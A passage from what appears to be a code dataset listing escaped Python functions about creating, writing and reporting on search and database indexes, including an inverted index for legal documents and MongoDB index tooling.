\"def rebuild_index():\\n print('Building indexes...')\\n print(data_fldr)\\n ndx = []\\n for root, _, files in os.walk(data_fldr):\\n for f in files:\\n if f[-3:].upper() in ['CSV','TXT']:\\n ndx.extend(get_index_terms(root + os.sep + f))\\n with open(ndx_file, 'w') as fio:\\n for i in ndx:\\n fio.write(i + '\\\\n')\",\n \"def create_location_index():\\n get_rsvps_database().groups.create_index([(\\\"location\\\", GEOSPHERE)])\",\n \"def reindex_subcomponent_taxa():\\n pass\",\n \"def build_index(self):\\n \\n \\n geoids = self.partitions.find_or_new(table='facilities_geoids')\\n addresses = self.partitions.find_or_new(table='facilities_addresses')\\n facilities = self.partitions.find(table='facilities')\\n \\n facilities.attach(addresses,'addresses')\\n facilities.attach(geoids,'geoids')\\n \\n q = \\\"\\\"\\\"\\n SELECT year, type, oshpd_id, facility_name, dba_city, dba_zip_code, blockgroup_gvid, tract_gvid, county_gvid\\n FROM facilities\\n JOIN geoids.facilities_geoids AS geoids ON geoids.facilities_id = facilities.id\\n JOIN addresses.facilities_addresses AS addresses ON addresses.facilities_id = facilities.id\\n \\\"\\\"\\\"\\n \\n p = self.partitions.find_or_new(table='facilities_index')\\n p.clean()\\n lr = self.init_log_rate()\\n \\n with p.inserter() as ins:\\n for row in facilities.query(q):\\n ins.insert(row)\\n lr(str(p.identity))\",\n \"def create_index(args, client):\\n policy = {}\\n client.index_geo2dsphere_create(args.nspace, args.set,\\n LOCBIN, LOCNDX, policy)\\n client.index_integer_create(args.nspace, args.set,\\n HSHBIN, HSHNDX, policy)\",\n \"def build_index():\\n pass\",\n \"def reindexed_dataframe(self):\\n tmp = self.metric.copy()\\n tmp.index = tmp.index.map(self.match_regions())\\n #give the same index order as the geojson\\n out = tmp.reindex(index = self.regions_names())\\n return out\\n #index_name = out.index.name\\n\\n #return out.reset_index().dropna().set_index(index_name)[self.metric.name]\",\n \"def generateForcingFields(self, conc_idx, inputs, outputs):\\n\\n\\t\\tForcing.log(\\\"Running %s.generateForcingFields()\\\"%type(self))\\n\\n\\t\\t# Some variable used later\\n\\t\\tscalar = None\\n\\n\\t\\tif self.griddedTimeZoneFld == None:\\n\\t\\t\\t# Assume all timezones are GMT\\n\\t\\t\\tprint \\\"Warning! No gridded time zone information loaded. Using a field of zeros.\\\"\\n\\t\\t\\ttz = np.zeros((self.ni,self.nj))\\n\\t\\telse:\\n\\t\\t\\ttz = self.griddedTimeZoneFld\\n\\n\\t\\tif len(self.species) == 0:\\n\\t\\t\\traise NoSpeciesException(\\\"Must specify species\\\")\\n\\t\\t\\treturn\\n\\n\\t\\t# We doing time averaging?\\n\\t\\tif self.averaging in ['AVG_MAX', 'AVG_MAX8', 'AVG_MAX24']:\\n\\t\\t\\tdo_averaging=True\\n\\t\\t\\taveraging_window = self.averaging_window\\n\\t\\telse:\\n\\t\\t\\tdo_averaging=False\\n\\t\\t\\taveraging_window = None\\n\\t\\t\\t#if self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE'\\n\\t\\t\\tif self.averaging == 'AVG_NONE':\\n\\t\\t\\t\\t# Ensure this is set right\\n\\t\\t\\t\\tself.timeMask = range(0,25)\\n\\t\\t\\t# If it's the mask, then the timemask should already be set\\n\\n\\t\\t# Create zero fields to allocate our arrays\\n\\t\\tfld_empty=np.zeros((len(self.species), self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\\n\\n\\t\\t# Get the relative days, so [-1 0 1] for [yesterday, today, tomorrow]\\n\\t\\trdays = inputs.keys()\\n\\t\\t# Probably an easiesr way to initalize this since we're only writing later, but for now we'll do it.\\n\\t\\tflds={}\\n\\t\\tfor d in rdays:\\n\\t\\t\\tflds[d] = fld_empty.copy()\\n\\n\\t\\t# This is NOT efficient. Could probably easily make it\\n\\t\\t# more efficient by implementing some sort of cache though..\\n\\t\\tfor idx_s, species in enumerate(self.species):\\n\\t\\t\\t#print \\\"Iteratiing through species %d=%s\\\"%(idx_s, species)\\n\\n\\t\\t\\t# Initialize the data flds. Set to zero if there's a day that doesn't exist\\n\\t\\t\\tdatas={}\\n\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\tif inputs[d] is None:\\n\\t\\t\\t\\t\\tdatas[d] = np.zeros((self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tdatas[d] = inputs[d].variables[species][:]\\n\\n\\t\\t\\t# Recall, mask is already considered in these vectors\\n\\t\\t\\tfor k in self._layers:\\n\\t\\t\\t\\t# I think there's a better way to do the next two loops, don't know it though.\\n\\t\\t\\t\\tfor i in range(0,self.ni):\\n\\t\\t\\t\\t\\tfor j in range(0,self.nj):\\n\\n\\t\\t\\t\\t\\t\\t# Spatial mask\\n\\t\\t\\t\\t\\t\\tif not self.space[j,i]:\\n\\t\\t\\t\\t\\t\\t\\t# This is masked out. Set to zero and go to the next cell\\n\\t\\t\\t\\t\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\t\\t\\t\\t\\tflds[d][idx_s][0:self.nt,k,j,i] = np.zeros((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\t\\t#else:\\n\\t\\t\\t\\t\\t\\t#\\t# TEMP HACK!!\\n\\t\\t\\t\\t\\t\\t# # This temp hack is used to ensure the mask is working\\n\\t\\t\\t\\t\\t\\t#\\tfld_yest[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t#\\tfld_today[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t#\\tfld_tom[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t#\\tcontinue\\n\\n\\n\\t\\t\\t\\t\\t\\t# Take averaging into consideration\\n\\t\\t\\t\\t\\t\\t# For almost all of these averagings, we'll have to\\n\\t\\t\\t\\t\\t\\t# build a vector of all values for all times at that\\n\\t\\t\\t\\t\\t\\t# cell. Unfortunately, the data is organized in the \\n\\t\\t\\t\\t\\t\\t# opposite way as we want (time is the top index..)\\n\\t\\t\\t\\t\\t\\tif do_averaging:\\n\\t\\t\\t\\t\\t\\t\\tvecs={}\\n\\t\\t\\t\\t\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\t\\t\\t\\t\\tvecs[d] = datas[d][:Forcing.dayLen,k,j,i]\\n\\n\\t\\t\\t\\t\\t\\t\\t# REMOVE!\\n\\t\\t\\t\\t\\t\\t\\t#if i==self.debug_i and j==self.debug_j:\\n\\t\\t\\t\\t\\t\\t\\t#\\tprint \\\"vec_today[%d,%d]: \\\"%(self.debug_j, self.debug_i), vec_today\\n\\n\\t\\t\\t\\t\\t\\t\\t# Prepares a vector of values with respect to the\\n\\t\\t\\t\\t\\t\\t\\t# direction we're going to calculate the average\\n\\t\\t\\t\\t\\t\\t\\t# (forward/backward), the window size, and time\\n\\t\\t\\t\\t\\t\\t\\t# zone \\n\\n\\t\\t\\t\\t\\t\\t\\tvec = Forcing.prepareTimeVectorForAvg(vecs, timezone=tz[j][i], winLen=averaging_window, debug=False)\\n\\t\\t\\t\\t\\t\\t\\t#print \\\"i=%d,j=%d, preped vec[%d] = %s\\\"%(i,j,len(vec),\\\" \\\".join(map(str, vec)))\\n\\n\\t\\t\\t\\t\\t\\t\\t# Calculate the moving window average\\n\\t\\t\\t\\t\\t\\t\\tavgs = Forcing.calcMovingAverage(vec, winLen=averaging_window)\\n\\t\\t\\t\\t\\t\\t\\t#print \\\"i=%d,j=%d, avg vec[%d] = %s\\\"%(i,j,len(avgs),\\\" \\\".join(map(str, avgs)))\\n\\n\\t\\t\\t\\t\\t\\t\\t# And then, for the 8-hour max to be used for a\\n\\t\\t\\t\\t\\t\\t\\t# forcing term, generate a vector for yesterday,\\n\\t\\t\\t\\t\\t\\t\\t# today and tomorrow with the forcing terms in them\\n\\n\\t\\t\\t\\t\\t\\t\\tif self.timeInvariantScalarMultiplcativeFld is not None:\\n\\t\\t\\t\\t\\t\\t\\t\\tscalar = self.timeInvariantScalarMultiplcativeFld[j][i]/averaging_window\\n\\n\\t\\t\\t\\t\\t\\t\\tvecs = Forcing.applyForceToAvgTime(avgs, days=vecs.keys(), winLen=averaging_window, timezone=tz[j][i], min_threshold=self.threshold, forcingValue=scalar)\\n\\n# This was done blindly\\n\\t\\t\\t\\t\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\t\\t\\t\\t\\tflds[d][idx_s][:24,k,j,i] = vecs[d]\\n\\n\\t\\t\\t\\t\\t\\telif self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE':\\n# NOT YET TESTED\\n\\t\\t\\t\\t\\t\\t\\traise NotImplementedError( \\\"Mask timing or no averaging is not yet tested. Averaging options=%s\\\"%self.averaging )\\n\\t\\t\\t\\t\\t\\t\\t# The comments assume timezone = -6\\n\\t\\t\\t\\t\\t\\t\\tfor t_gmt in self.timeMask:\\n\\t\\t\\t\\t\\t\\t\\t\\t# when t_gmt = 0, t_loc = -6, so we're into yesterday\\n\\t\\t\\t\\t\\t\\t\\t\\tt_loc = t_gmt + tz[j][i]\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# Reference the arrays\\n\\t\\t\\t\\t\\t\\t\\t\\tif t_loc < 0:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdfld = data_yest\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#ffld = fld_yest\\n\\t\\t\\t\\t\\t\\t\\t\\telif t_loc>0 and t_loc<Forcing.dayLen:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdfld = data_today\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#ffld = fld_today\\n\\t\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdfld = data_tomorrow\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#ffld = fld_tomorrow\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# I have to write in GMT\\n# This is wrong, as local times can write into another day.. maybe.. but since there's no averaging, another iteration will take care of that..\\n\\t\\t\\t\\t\\t\\t\\t\\tffld = fld_today\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# fld[-6] is fld[18]\\n\\t\\t\\t\\t\\t\\t\\t\\tval=dfld[t_loc,k,j,i]\\n\\t\\t\\t\\t\\t\\t\\t\\tif threshold is not None:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif val > threshold:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tforce = 1\\n\\t\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif val > 0.0:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tforce = 1\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# Set the field in the referenced forcing field\\n\\t\\t\\t\\t\\t\\t\\t\\tffld[t_loc,k,j,i] = force\\n\\n\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\traise NotImplementedError( \\\"Unavailable time averaging method (%s) selected\\\"%self.averaging )\\n\\n\\t\\t\\t\\t\\t\\t#endif averaging\\n\\t\\t\\t\\t\\t#endfor j\\n\\t\\t\\t\\t#endfor i\\n\\t\\t\\t#endfor k\\n\\n\\t\\t#endfor species\\n\\n\\t\\treturn flds\",\n \"def build_index(in_dir, out_dict, out_postings):\\n print('indexing...')\\n\\n maxInt = sys.maxsize\\n\\n while True:\\n # decrease the maxInt value by factor 10 \\n # as long as the OverflowError occurs.\\n try:\\n csv.field_size_limit(maxInt)\\n break\\n except OverflowError:\\n maxInt = int(maxInt/10)\\n\\n #Dicitionary for saving the normalized weights for document vector\\n lengths = dict()\\n\\n #Number of docs read from csv\\n total_docs = 1\\n max_docs = 1000\\n\\n #Data stored in csv read file line by line and save columns data\\n with open(os.path.join(in_dir), 'r', encoding=\\\"utf8\\\") as data_csv:\\n reader = csv.DictReader(data_csv)\\n #each line corresponds to a document\\n for doc in reader:\\n\\n #if(total_docs > max_docs):\\n # break\\n\\n #If line is blank, just skip\\n if doc is None:\\n continue\\n \\n #save the different columns of the doc\\n doc_id = int(doc[\\\"document_id\\\"])\\n #Remove punctuation in title and content\\n doc_title = re.sub(r\\\"[,;@#?!&$()%\\\\[\\\\]°~^_.+=\\\\\\\"><`|}{*':/]+ *\\\", \\\" \\\", doc[\\\"title\\\"])\\n doc_content = re.sub(r\\\"[,;@#?!&$()%\\\\[\\\\]°~^_.+=\\\\\\\"><`|}{*':/]+ *\\\", \\\" \\\", doc[\\\"content\\\"])\\n doc_date = doc[\\\"date_posted\\\"]\\n doc_year = doc_date[0:4]\\n doc_court = doc[\\\"court\\\"]\\n\\n #The dictionaryies are updated, postings lists are updated or new terms added\\n update_terms_zones_dictionary(doc_id, doc_title, \\\".title\\\")\\n update_terms_zones_dictionary(doc_id, doc_content, \\\".content\\\")\\n update_date_field_dictionary(doc_id, doc_year)\\n update_court_field_dictionary(doc_id, doc_court)\\n\\n total_docs += 1\\n\\n data_csv.close()\\n\\n #This section stores the Log TF using the word counts in the postings in the dictionary\\n #It saves the Log TF in an auxiliary dictionary named lengths\\n for word in dictionary:\\n #Get postings list for the word\\n postings_list = dictionary[word]\\n\\n for docID_termF in postings_list:\\n #Get the vector for the doc, where the docId is docID_termF[0]\\n #If there is no vector for this doc, then create a new dict\\n #I am using dictionaries as the vector for the word only for the calculations\\n doc_vector = lengths.get(docID_termF[0], dict())\\n #I add the logarithmic term frequency to that document vector\\n doc_vector[word] = 1 + math.log(docID_termF[1], 10)\\n #Save that to its corresponding doc\\n lengths[docID_termF[0]] = doc_vector\\n\\n #This section normalizes the Log TFs \\n for doc_vector in lengths.values():\\n #We store each of the values in a list and then use:\\n #np.linalg.norm to do the normalization = sqrt(sum(values^2))\\n weights = doc_vector.values()\\n #We get the vectors magnitude\\n magnitude = np.linalg.norm(np.array(list(weights)))\\n for word in doc_vector.keys():\\n #For every word entry in the vector \\n #normalize by dividing the weight by the magnitude\\n doc_vector[word] = doc_vector[word] / magnitude\\n\\n #This section replaces the word count in the tuple of the dictionary with the Normalized Log TF\\n #It also sorts the postings list by doc ID\\n for word in dictionary:\\n #Get postings list for the word\\n postings_list = dictionary[word]\\n new_postings_list = list()\\n for docID_termF in postings_list:\\n docID_termF = ( docID_termF[0], lengths[docID_termF[0]][word] )\\n new_postings_list.append(docID_termF)\\n new_postings_list.sort()\\n dictionary[word] = new_postings_list\\n\\n ''' \\n with open('ugly_dictionary.txt', 'w') as fp:\\n json.dump(dictionary, fp)\\n '''\\n #Determine the relevance of each doc by the court that it has in its court field\\n #Save the relevant docs and their relevance\\n relevant_courts_dict = { \\\"SG Court of Appeal\\\":2, \\\"SG Privy Council\\\":2, \\\"UK House of Lords\\\":2, \\\"UK Supreme Court\\\":2,\\n \\\"High Court of Australia\\\":2, \\\"CA Supreme Court\\\":2, \\\"SG High Court\\\":1.5, \\\"Singapore International Commercial Court\\\":1.5,\\n \\\"HK High Court\\\": 1.5, \\\"HK Court of First Instance\\\": 1.5, \\\"UK Crown Court\\\": 1.5, \\\"UK Court of Appeal\\\": 1.5, \\\"UK High Court\\\": 1.5, \\n \\\"Federal Court of Australia\\\": 1.5, \\\"NSW Court of Appeal\\\": 1.5, \\\"NSW Court of Criminal Appeal\\\": 1.5, \\\"NSW Supreme Court\\\": 1.5}\\n\\n relevant_docs = dict()\\n \\n for court_name in relevant_courts_dict:\\n court_postings_list = court_dictionary.get(court_name, -1)\\n if(court_postings_list != -1):\\n for docid in court_postings_list:\\n #save a dictionary of docID and its relevance (2 or 1.5) according to its court\\n relevant_docs[docid] = relevant_courts_dict[court_name]\\n\\n #This section traverse each word (key) in the dictionary, get its postings list and save it in a different file \\n postings_list_file = open(out_postings, \\\"wb\\\") \\n for word in dictionary:\\n #Get postings list for the word\\n postings_list = dictionary[word]\\n #Get the document frequency\\n document_frequency = len(postings_list)\\n #Know the starting position for the pointer\\n postings_list_position = postings_list_file.tell()\\n # Writing to file \\n pickle.dump(postings_list, postings_list_file)\\n #Replace postings list with reference to the position\\n dictionary[word] = (document_frequency, postings_list_position)\\n for date in date_dictionary:\\n #Get postings list for the date\\n postings_list = date_dictionary[date]\\n #Get the document frequency\\n document_frequency = len(postings_list)\\n #Know the starting position for the pointer\\n postings_list_position = postings_list_file.tell()\\n # Writing to file \\n pickle.dump(postings_list, postings_list_file)\\n #Replace postings list with reference to the position\\n date_dictionary[date] = (document_frequency, postings_list_position)\\n for court in court_dictionary:\\n #Get postings list for the date\\n postings_list = court_dictionary[court]\\n #Get the document frequency\\n document_frequency = len(postings_list)\\n #Know the starting position for the pointer\\n postings_list_position = postings_list_file.tell()\\n # Writing to file \\n pickle.dump(postings_list, postings_list_file)\\n #Replace postings list with reference to the position\\n court_dictionary[court] = (document_frequency, postings_list_position)\\n #Close the postings lists file\\n postings_list_file.close() \\n\\n #Now open the dictionary file and save the three dictionaries\\n with open(out_dict, 'wb') as dictionary_file:\\n pickle.dump(total_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(date_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(court_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(relevant_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n \\n '''\\n The structure we have is:\\n\\n dictionary.txt: Has three dictionaries\\n {word.zone : [doc_freq, pointer], word.zone: [doc_freq, pointer], ...}\\n {date : [doc_freq, pointer], date: [doc_freq, pointer], ...}\\n {court : [doc_freq, pointer], court: [doc_freq, pointer], ...}\\n\\n postings.txt: Has the postings for the three dictionaries\\n For the dictionary postings:\\n [[docID,termFrequency],[docID,termFrequency]]\\n [[docID,termFrequency]] ...\\n For the date_dictionary postings:\\n [docId, docId, docId, docId]\\n For the court_dictionary postings:\\n [docId, docId, docId, docId]\\n ...\\n\\n Both documents together would be:\\n { word.zone: [doc_freq, [[docID,termFrequency], ... ]], \\n word.zone: [doc_freq, [[docID,termFrequency].}, ...]] }\\n { date: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\\n { court: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\\n\\n lengths.txt\\n [document: [word: weight, word: weight, ...], document: [word: weight, word: weight, ...]]\\n Decided to make it like this to keep control of which weights correspond to which words\\n Although for a document I will traverse all the weights to get the score\\n If the word is not in the document vector [which in my case is a dictionary], then its weight is 0\\n This way I am no using a sparse matrix\\n\\n '''\",\n \"def write_index(self, file_name):\\n self.df_index.to_csv(file_name, sep='\\\\t')\",\n \"def idx_createFieldIndex(plominoIndex, fieldname, fieldtype='TEXT', **args):\\n \\n if not hasattr(plominoIndex, 'createFieldIndex'):\\n plominoIndex = plominoIndex.getParentDatabase().getIndex()\\n \\n if not fieldname in plominoIndex.indexes():\\n plominoIndex.createFieldIndex(fieldname, fieldtype, **args)\",\n \"def compute_index(self, filename, tri):\\n self.index = {'name': filename, \\\"bi\\\": {}}\\n if tri:\\n self.index[\\\"tri\\\"] = {}\\n fichero = open(filename, 'r').read()\\n fichero = fichero.replace(\\\";\\\",\\\".\\\")\\n fichero = fichero.replace(\\\"\\\\n\\\\n\\\",\\\".\\\")\\n fichero = fichero.replace(\\\",\\\",\\\".\\\")\\n fichero = fichero.replace(\\\"?\\\",\\\".\\\")\\n fichero = fichero.replace(\\\"!\\\",\\\".\\\")\\n fichero = fichero.lower()\\n\\n for frase in fichero.split('.'):\\n frase = self.r2.sub(\\\" \\\", frase)\\n frase = \\\"$ \\\" + frase + \\\" $\\\"\\n Monkey.index_sentence(self, frase, tri)\\n\\n #sort_index(self, self.index['bi'])\\n if tri:\\n sort_index(self, self.index['tri'])\\n\\n extension = filename.find('.')\\n aux = filename[:extension] \\n new_filename = aux + 'index'\\n\\n with open(new_filename, 'w') as fh:\\n #print(self.index['bi'].items())\\n for nombre, valor in self.index['bi'].items():\\n fh.write(\\\"%s %s\\\\n\\\" %(nombre, valor))\",\n \"def _make_index(self, fname, sents, words):\\n for w in words:\\n # word index for this file only\\n findex = []\\n\\n for ixS, s in enumerate(sents):\\n # iterate over each word in the sentencep\\n for ixT, token in enumerate(s):\\n # could use regex for substring matching instead\\n if w == token.lower():\\n findex.append((ixS, ixT))\\n # keep track of word use frequency\\n self._freq[w] += 1\\n\\n # grow the main index \\n self._index[w][fname]= findex\",\n \"def postCalculate(self, node, result):\\n if node.nodeClass == \\\"index\\\":\\n if isinstance(result, pd.Index) and result.name is None:\\n result.name = node.identifier\",\n \"def test_geo_index():\\n\\tlib.backup_and_restore(\\n\\t\\tlambda context: create_indexes(lib.create_geo_index),\\n\\t\\tNone,\\n\\t\\tlambda context: check_indexes(lib.check_geo_index, (0.0, 0.0))\\n\\t)\",\n \"def index(self, index_element):\\n idx = Indexer.Index(index_element.corpus_path, index_element.posting_path, self.cities_from_api,\\n index_element.stop_words)\\n idx.create_index(index_element.stem, index_element.id, index_element.block_size)\",\n \"def _write_index(self):\\n # Make sure to only write non-default objects to the index.\\n self.store.write_object(\\n object=[obj.to_dict() for ns in self.index.values() for obj in ns.values() if not obj.is_default],\\n object_id=self.identifier\\n )\",\n \"def reindex(self):\",\n \"def reindex(self):\",\n \"def db_index_name(self):\\r\\n return 'index_{}'.format(self.db_field_name)\",\n \"def add_catalog_indexes(context, logger):\\n if logger is None:\\n logger = logging.getLogger('bungenicms.membershipdirectory')\\n \\n # Run the catalog.xml step as that may have defined new metadata columns. \\n # We could instead add <depends name=\\\"catalog\\\"/> to the registration of our \\n # import step in zcml, but doing it in code makes this method usable as \\n # upgrade step as well. Note that this silently does nothing when there is \\n # no catalog.xml, so it is quite safe.\\n setup = getToolByName(context, 'portal_setup')\\n setup.runImportStepFromProfile(PROFILE_ID, 'catalog')\\n \\n catalog = getToolByName(context, 'portal_catalog')\\n indexes = catalog.indexes()\\n \\n # Specify the indexes you want, with ('index_name', 'index_type')\\n wanted = (('county', 'FieldIndex'),\\n ('constituency', 'FieldIndex'),\\n ('priority_number', 'FieldIndex'), \\n ('political_party', 'FieldIndex'),\\n ('elected_nominated', 'FieldIndex'),\\n ('member_status', 'FieldIndex'),\\n ('special_interest', 'FieldIndex'),\\n ('other_names', 'FieldIndex'),\\n ('member_role', 'FieldIndex'),\\n ('member_title', 'FieldIndex'),\\n ('body_text', 'FieldIndex'),\\n ('member_full_names', 'ZCTextIndex'),\\n )\\n\\n indexables = []\\n for (name, meta_type) in wanted:\\n if meta_type and name not in indexes:\\n if meta_type == 'ZCTextIndex':\\n item_extras = Empty()\\n item_extras.doc_attr = name\\n item_extras.index_type = 'Okapi BM25 Rank'\\n item_extras.lexicon_id = 'plone_lexicon'\\n catalog.addIndex(name, meta_type, item_extras)\\n else:\\n catalog.addIndex(name, meta_type)\\n \\n indexables.append(name)\\n logger.info('Added %s for field %s.', meta_type, name)\\n if len(indexables) > 0:\\n logger.info('Indexing new indexes %s.', ', '.join(indexables))\\n catalog.manage_reindexIndex(ids=indexables)\",\n \"def _generate_index_report(self, index, query_analysis):\\r\\n\\r\\n all_fields = []\\r\\n equiv_fields = []\\r\\n sort_fields = []\\r\\n range_fields = []\\r\\n\\r\\n for query_field in query_analysis['analyzedFields']:\\r\\n all_fields.append(query_field['fieldName'])\\r\\n if query_field['fieldType'] is EQUIV_TYPE:\\r\\n equiv_fields.append(query_field['fieldName'])\\r\\n elif query_field['fieldType'] is SORT_TYPE:\\r\\n sort_fields.append(query_field['fieldName'])\\r\\n elif query_field['fieldType'] is RANGE_TYPE:\\r\\n range_fields.append(query_field['fieldName'])\\r\\n\\r\\n max_equiv_seq = len(equiv_fields)\\r\\n max_sort_seq = max_equiv_seq + len(sort_fields)\\r\\n max_range_seq = max_sort_seq + len(range_fields)\\r\\n\\r\\n coverage = 'none'\\r\\n query_fields_covered = 0\\r\\n query_field_count = query_analysis['fieldCount']\\r\\n supported = True\\r\\n ideal_order = True\\r\\n for index_field in index['key']:\\r\\n field_name = index_field[0]\\r\\n\\r\\n if index_field[1] == '2d':\\r\\n supported = False\\r\\n break\\r\\n\\r\\n if field_name not in all_fields:\\r\\n break\\r\\n\\r\\n if query_fields_covered == 0:\\r\\n coverage = 'partial'\\r\\n\\r\\n if query_fields_covered < max_equiv_seq:\\r\\n if field_name not in equiv_fields:\\r\\n ideal_order = False\\r\\n elif query_fields_covered < max_sort_seq:\\r\\n if field_name not in sort_fields:\\r\\n ideal_order = False\\r\\n elif query_fields_covered < max_range_seq:\\r\\n if field_name not in range_fields:\\r\\n ideal_order = False\\r\\n query_fields_covered += 1\\r\\n if query_fields_covered == query_field_count:\\r\\n coverage = 'full'\\r\\n\\r\\n # INDEX REPORT\\r\\n return OrderedDict({\\r\\n 'coverage': coverage,\\r\\n 'idealOrder': ideal_order,\\r\\n 'queryFieldsCovered': query_fields_covered,\\r\\n 'index': index,\\r\\n 'supported': supported\\r\\n })\",\n \"def create_index(self, table_name, index, timeout):\\n _abstract()\",\n \"def create_index(self, table_name, index, timeout):\\n _abstract()\",\n \"def _generate_index_report(self, index, query_analysis):\\n\\n all_fields = []\\n equiv_fields = []\\n sort_fields = []\\n range_fields = []\\n\\n for query_field in query_analysis['analyzedFields']:\\n all_fields.append(query_field['fieldName'])\\n if query_field['fieldType'] is EQUIV_TYPE:\\n equiv_fields.append(query_field['fieldName'])\\n elif query_field['fieldType'] is SORT_TYPE:\\n sort_fields.append(query_field['fieldName'])\\n elif query_field['fieldType'] is RANGE_TYPE:\\n range_fields.append(query_field['fieldName'])\\n\\n max_equiv_seq = len(equiv_fields)\\n max_sort_seq = max_equiv_seq + len(sort_fields)\\n max_range_seq = max_sort_seq + len(range_fields)\\n\\n coverage = 'none'\\n query_fields_covered = 0\\n query_field_count = query_analysis['fieldCount']\\n supported = True\\n ideal_order = True\\n for index_field in index['key']:\\n field_name = index_field[0]\\n\\n if index_field[1] == '2d':\\n supported = False\\n break\\n\\n if field_name not in all_fields:\\n break\\n\\n if query_fields_covered == 0:\\n coverage = 'partial'\\n\\n if query_fields_covered < max_equiv_seq:\\n if field_name not in equiv_fields:\\n ideal_order = False\\n elif query_fields_covered < max_sort_seq:\\n if field_name not in sort_fields:\\n ideal_order = False\\n elif query_fields_covered < max_range_seq:\\n if field_name not in range_fields:\\n ideal_order = False\\n query_fields_covered += 1\\n if query_fields_covered == query_field_count:\\n coverage = 'full'\\n\\n # INDEX REPORT\\n return OrderedDict({\\n 'coverage': coverage,\\n 'idealOrder': ideal_order,\\n 'queryFieldsCovered': query_fields_covered,\\n 'index': index,\\n 'supported': supported\\n })\",\n \"def createIndex(self):\\n\\n super(COCO_PLUS, self).createIndex()\\n catNameToId = dict()\\n pointclouds = dict()\\n imgToPc = dict()\\n\\n if 'pointclouds' in self.dataset:\\n for pc in self.dataset['pointclouds']:\\n imgToPc[pc['img_id']] = pc\\n pointclouds[pc['id']] = pc\\n\\n if 'categories' in self.dataset:\\n for cat in self.dataset['categories']:\\n catNameToId[cat['name']] = cat['id']\\n\\n self.catNameToId = catNameToId\\n self.pointclouds = pointclouds\\n self.imgToPc = imgToPc\\n self.logger.info('index created.')\",\n \"def add_taxonomy(tax_idx, pkl):\\n for tax,v in tax_idx.items():\\n for genome_id,genome_len in v.items():\\n T = '|'.join(list(tax) + ['t__' + genome_id])\\n pkl['taxonomy'][T] = ('', int(genome_len))\\n return pkl\",\n \"def create_index():\\n try:\\n client = MongoClient(MONGO_URI,event_listeners=[CommandLogger()])\\n db = client.get_database('UNSD')\\n \\n coll_unfcc = db.get_collection('unfcc')\\n coll_ebal = db.get_collection('ebal')\\n result_unfcc = coll_unfcc.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\\n result_ebal = coll_ebal.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\\n except pymongo.errors.ConnectionFailure as e:\\n logger.error('PyMongo error ConnectionFailure seen: ' + str(e))\\n traceback.print_exc(file = sys.stdout)\",\n \"def save_index(self, fn):\\n utils.save_obj(self.tweetTerms, \\\"TweetTerm_%s\\\" % (self.counterOfTweetTermsFiles))\\n self.computeTfIdf(self.counterOfTweets)\\n self.deleteSingleEntities()\\n inv_dict = {'inverted_idx': self.inverted_idx, 'posting': self.postingFiles}\\n utils.save_obj(inv_dict, fn)\",\n \"def write_index(self):\\n self.Lock = True\\n self.file_out.seek(self.index_offset)\\n for identifier, offset in self.index.items():\\n self._write_identifier(identifier)\\n self._write_offset(offset)\",\n \"def make_filtered_field(ds, fieldname, filter_fields = [], tolerance = tol):\\n def _filtered_field(field, data):\\n x = data[('gas',fieldname)]\\n\\n select = data[filter_fields[0]] < 0\\n for f in filter_fields:\\n select = select + (data[f] < tolerance)\\n x[select] = np.nan\\n\\n return x\\n\\n ds.add_field(('gas',fieldname + '_filtered'), function = _filtered_field, units = \\\"\\\")\\n return\",\n \"def create_index(self):\\r\\n\\r\\n #### Begin functionality here\\r\\n\\r\\n return()\",\n \"def add(self, name, index = None):\\n if index is None:\\n while self.indexDict.has_key(self.count):\\n self.count += 1\\n index = self.count\\n self.fieldDict[name] = index\\n self.indexDict[index] = name\",\n \"def create_index(self, db_name):\\n\\t\\tindex_func_path = self._get_index_func_filepath(db_name)\\n\\t\\t\\n\\t\\tif os.path.isfile(index_func_path):\\n\\t\\t\\t# create index request payload from predefined file\\t\\n\\t\\t\\twith open(index_func_path, 'r') as content_file:\\n\\t\\t\\t\\tpayload = content_file.read()\\n\\t\\t\\n\\t\\t\\tprint 